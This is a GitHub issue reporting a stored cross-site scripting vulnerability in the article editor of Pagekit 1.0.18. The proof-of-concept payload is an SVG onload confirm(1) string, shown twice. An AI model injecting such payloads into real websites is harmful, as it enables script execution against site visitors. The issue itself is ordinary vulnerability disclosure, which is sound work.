This repository has been archived by the owner on Dec 1, 2023. It is now read-only.

There is an XSS vulnerability in the place where the article is edited #968

Open

BreakALegCml opened this issue Jul 20, 2022 · 1 comment

BreakALegCml commented Jul 20, 2022

Problem

An attacker can insert a constructed statement into the article. When a user visits this page, it will trigger (XSS) cross site scripting attack

EXP

<svg/onrandom=random onload=confirm(1)>

Technical Details

Pagekit version:1.0.18.
Webserver:apache2.4.39
Database:5.7.26
PHP Version:7.4.3

Author

BreakALegCml commented Jul 20, 2022

##EXP
<svg/onrandom=random onload=confirm(1)>

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.